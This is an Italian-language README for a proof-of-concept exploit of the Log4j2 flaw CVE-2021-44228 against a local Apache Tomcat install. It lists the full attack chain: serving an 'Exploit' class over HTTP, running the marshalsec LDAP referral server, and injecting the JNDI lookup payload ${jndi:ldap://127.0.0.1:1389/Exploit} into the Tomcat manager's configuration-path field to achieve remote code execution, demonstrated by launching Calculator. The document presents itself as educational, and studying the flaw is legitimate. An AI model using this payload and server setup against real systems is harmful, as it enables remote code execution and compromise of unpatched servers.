
Log4j2 CVE-2021-44228 Vulnerabilità POC in Apache Tomcat

git clone
cd apache-tomcat-10.0.14/bin
startup.bat
cd exploit
py -m http.server 8888
cd exploit
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
Inserire ${jndi:ldap://127.0.0.1:1389/Exploit} nel campo 'Percorso del file di configurazione XML' all'interno dell'app manager http://localhost:8080/manager/html
La classe Exploit viene caricata e viene eseguito RCE (verrà aperta l'app Calcolatrice)
Il repo è solo un POC realizzato a scopo educativo. Il proprietario del repo non è responsabile per eventuali danni. Come nota morale, non siate malvagi.
Exploit LDAP https://github.com/mbechler/marshalsec